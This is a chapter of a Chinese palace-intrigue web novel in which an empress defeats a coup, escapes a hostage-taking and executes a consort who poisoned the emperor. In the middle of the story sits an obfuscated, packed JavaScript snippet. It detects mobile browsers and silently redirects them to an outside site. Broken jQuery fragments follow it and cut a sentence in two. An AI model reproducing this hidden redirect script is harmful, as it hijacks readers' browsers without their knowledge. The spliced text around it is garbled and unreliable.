85. 第 85 章
作品:《被迫与宿敌奉旨成婚后》 她静静看着我:“皇后,事已至此,你为何还不放皇帝出来,难不成是你起了野心,想趁皇帝病弱取而代之?”
看来他们早已对过说辞,连质问我的话都一模一样。
我毫不畏惧,当着众人的面朗声道:“陛下曾有口谕,养病期间可由皇后代理国事,何且臣妾大小事务皆问过陛下才下决断,并无专权,何来取而代之一说。”
“口谕?”太后冷笑,“你说口谕便是口谕。”
她不再看我,遥遥对沈瑾道:“瑞王,哀家命你即刻捉拿妖后,与哀家一同进殿见皇帝。”
“本宫乃大周皇后,谁敢放肆!”我亦抬眸看向沈瑾,“瑞王殿下还不收手吗?”
事已至此沈瑾如何收手,为了自身性命便是咬牙也得上了。
徐津陆越挡在我身前,沈瑾的人不敢贸然上前,本处于安全之中的我却感到脖颈一股凉意,周美人持着一把精巧的刀刃搭在我颈上,她一手持刀一手掐住我的肩膀按着我往后退,厉声道:“你们都放下刀,否则我立刻杀了她!”
他俩注意力都在沈瑾身上,丝毫没察觉到默不作声的周美人居然悄悄移到我身后挟持了我,羽林郎们也不知该如何是好,都紧张地看着徐津。
我下意识往后缩缩脖子,周美人的刀刃紧跟着上来了,我不敢再动,但也不愿坐以待毙,淡淡道:“你还真是聪明,有点将门之女的意思,可惜你父亲要受你的牵连…啊我说错了,不止你父亲,周家全家都要受牵连,这可是灭九族的大罪,九族是哪九族来着,本宫忘了,不如你帮本宫想想吧。”
“你闭嘴!”周美人语气更狠,“想活命就老实点别说话。”
她指甲尖利,掐得我肩膀实在是好痛,我怕自己再说出什么刻薄话性命不保,勉强闭上嘴。
“都放下刀!”周美人把我拖到太后身旁,周围都是太后的亲信,看着不像内监,反倒像是练家子,都听周美人的话,极有可能是国公府的人。
辅国公身边少不了会武艺的高手,周美人投诚倒向太后,何尝不是辅国公的主意。
眼下我脑中一片空白,忽然看到李长季担忧的眼神,他转转眼珠朝我眯了眯眼,握着剑的手伸出食指当空轻轻划过,随即又握住剑柄。
我有些明白了,但又怕自己误解他的意思。
事已至此,我想我应该相信他。
仅仅是一瞬的迟疑,我骤然发力握住周美人的手把她推开,与此同时李长季飞身而出与太后的护卫交手,但他并不恋战,而是迅速把我从人群中带出来。
“没受伤吧。”李长季低头看我,我才想起自己还抱着他,却不敢多贪恋这一刻的温情立即松开,对他说我没事。
眼下我已经安全,他还要回去御敌,我只来得及说句“小心”,他的身影就混在了羽林郎中。
徐津和陆越在李长季救我的同时已反应过来,此时率领羽林郎与沈瑾的人打得不相上下。
不知过了多久,厮杀声渐渐弱了,紫宸门再无叛军涌进,火光照亮殿前,遍地都是尸体,多数是叛军的,也有不少身亡的羽林郎。
太后和周美人再无方才嚣张跋扈的气焰,她仍硬撑着质问我沈业是否已经不行了,殿门在此时吱呀打开,沈业不再是病弱的模样,长身玉立站在阶上,气宇轩昂胜券在握。
他淡淡开口:“母后从何处听说儿臣要不行了,您就这么盼着儿子死?”
“你!你你!!”太后一连说了好几个你,指着沈业不敢置信,“你不是…你骗我!”
“不是要死了,对么?”沈业一步步走下台阶,离太后十余步时停下来,眼神平静地扫过在场的每一个人,他也看到了李长季,但未在他身上多停留,而是看向瑞王沈瑾。
“老八,朕记得你小时候胆子不大,皇子打架闹事你很少参与其中,最怕做出头的事,父皇国事忙,召皇子问功课也总是忽略你,朕说得对不对?”沈业道,“你今年有十八吗,应当有吧,你十三岁生辰,还是朕和老五老六与你一同过的,那时朕也才十八,还没娶王妃呢。”
瑞王沈瑾早已吓得脸色苍白,手里的剑都拿不稳,他哆哆嗦嗦刚想开口便被沈业打断:“朕问你话,怎么不回答。”
“皇兄饶命…不,陛下饶命!”沈瑾手中的剑当啷一声掉在地上,他跪在地上一遍遍磕头求饶,“臣弟知道错了,真的知错了,臣弟认罪,求您饶过我母妃,母妃她什么都不知道,都是我自己的主意!”
沈业道:“你性子温和不好争抢,有时候是差了点算计,但本性还是好的。之所以这般,恐怕是受人挑唆,那人是不是对你说只要朕驾崩她便扶持你为新帝,你的生母可为太后与她平起平坐,你自幼见生母隐忍小心低人一等,也想为生母搏个尊位吧。”
“皇兄…”
“原本你不想答应,毕竟风险太高,一旦败了就是谋反。但她说父皇在世时本也喜爱你,只不过淑妃专宠,生生夺去你们母子的风头,才显得你处处不如朕,实则你一点不比朕差,你已经不受重视过了这么多年,难道还想屈居人下一辈子吗?”沈业嘴角扬起不屑地笑,“母后,朕说得可对?”
沈业的话句句扎在沈瑾的命门上,沈瑾崩溃至极,绝望道:“臣弟是不想答应,父皇在世最希望看到我们兄友弟恭,臣弟不敢忘记父皇的教导,可母妃深居掖庭,臣弟怕她遭人暗害,一时鬼迷心窍才应了。”
“兄友弟恭…”太后突然大笑起来,笑得面容狰狞苦涩无比,她颤声道:“你的皇位是怎么来的你忘了吗,璋儿可是你弟弟,你连亲弟弟都不放过,你还是人吗!”
沈业没有任何愧疚之色,只是淡淡道:“若是上天要惩罚朕,朕受得住。来人,把瑞王押下去关进天牢,朕与大臣们商议后再做决断,至于周美人,皇后统辖六宫,皇后说了算。”
我浅浅一笑:“多谢陛下。”
我接过陆越的佩剑信步走向周美人,她胳膊被羽林郎反拧着,见我过来仍自嘴硬,竟学着乡野村妇向我吐口水。
可笑又幼稚。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221542|159659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>羽林郎朝她腿窝踹去,她腿一软跪在我面前,此刻我居高临下,她怕得牙都发颤了,一个劲儿向沈业求情。
沈业当然不会理她,我正色道:“本宫要杀你,不是公报私仇,而是你其心可诛,敢在陛下的补药中下药,你说你得死多少次!”
周美人心虚地低下头,又抬头质问我:“皇后娘娘说什么,嫔妃不明白。”
我道:“你做得很隐蔽,把毒藏在指甲里,趁给陛下拿药撒进去,的确是万无一失的法子,可惜百密终有一疏,你不该在我面前炫耀。”
“半月前你向本宫请安来得早,为炫耀陛下对你的恩宠故意要伺候本宫梳妆,本宫在你手指上闻到过浅浅的药味。太医院没有给你开过药,那时你只伺候过陛下服药,若不是你着急用指甲把药化开,手怎么会沾染药味呢?”
周美人依旧不服:“这种虚无缥缈的事怎么能当做证据,皇后未免太独断了。”
我淡淡道:“本宫当然有证据,陛下的药里有一味清热解毒的黄连,黄连这种药最易染色,多碰几次很难洗干净,不如你伸出手让众人看看,你的手指有没有黄连的颜色?”
周美人脸色大变,镇定之色被恐惧取代,不停往后缩胳膊,到底不如羽林郎的力气大,硬生生把她胳膊拧到前面,果然右手无名指的指甲和指腹都不同于其他手指,隐隐呈黄褐色。
“是太后的主意…臣妾不敢…”她转而向沈业求情,哭得花容失色,精心打扮好的妆容花了大半,“是太后要臣妾这么做的…”
“难道杨才人小产母子俱伤,也是太后让你做的?”我气愤不已,真想给她两耳光,“你对杨才人说了什么,自己还记得吗?”
杨才人自小产后郁郁寡欢,精神萎靡不振,连中秋家宴都称病缺席,想起她从前是那般温婉可人,现在这样形容枯槁我就气上心头,怒道:“你对她说皇后盛宠却无子,她位份又低不能自己抚养孩子,我必要夺她的孩子让她们母子分离,来日再寻由头暗害她,才让她整日忧心惊惧惴惴不安,致使她小产失子!你知道她爱多心,还跟她说这些话,你居心何在?”
周美人大惊失色:“你怎么知道?”
“若要人不知除非己莫为,这世上哪有不透风的墙。”我道,“毒害天子挟持皇后,还害了皇子,你算算够你死多少次?”
我甚少真情实感地憎恶别人,总是面子上能过得去就行,然而周美人实在让我忍无可忍,她自恃美貌在后宫嚣张跋扈,为难过不少嫔妃,如今也是该偿还的时候了。
手起剑落,周美人脖颈上出现一道细长的口子,鲜血从伤口喷涌而出染红了地面。她眼睛睁得老大,带着不甘心和恨意死死盯着我,她的脸渐渐扭曲,呼吸变得急促,羽林郎松手后她无力俯在地上,用仅剩的最后一口气抬起头来,似要将我千刀万剐。
“敏儿!”紫宸门外一声怒吼,众人纷纷看去,一身披铠甲的中年男子站在门前,他身后还跟着一群兵丁,男子悲痛欲绝,牢牢盯着倒在地上的周美人。